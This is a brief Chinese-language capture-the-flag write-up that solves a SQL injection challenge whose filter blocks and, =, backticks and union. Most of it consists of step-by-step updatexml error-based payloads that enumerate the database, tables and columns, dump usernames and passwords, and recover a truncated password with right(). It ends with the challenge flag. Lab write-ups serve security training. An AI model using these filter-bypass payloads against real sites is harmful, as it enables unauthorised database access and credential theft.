知识点
- updatexml报错注入
启动靶机
经过手工测试过滤了 and、= 、`、union等多个sql关键字,不过我们可以使用extractvalue和updatexml` 进行报错注入
1. 查数据库信息:geek
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#


2. 查表:H4rDsq1
'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

3. 查字段:id,username,password
'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

4. 查数据
'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#

5. 只查到了一半,再用right拼接
'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,30))))from(H4rDsq1)),0x7e),1))#

6. 拼接flag
flag{4e776bee-87d4-42a8-a92f-596f56545f25}
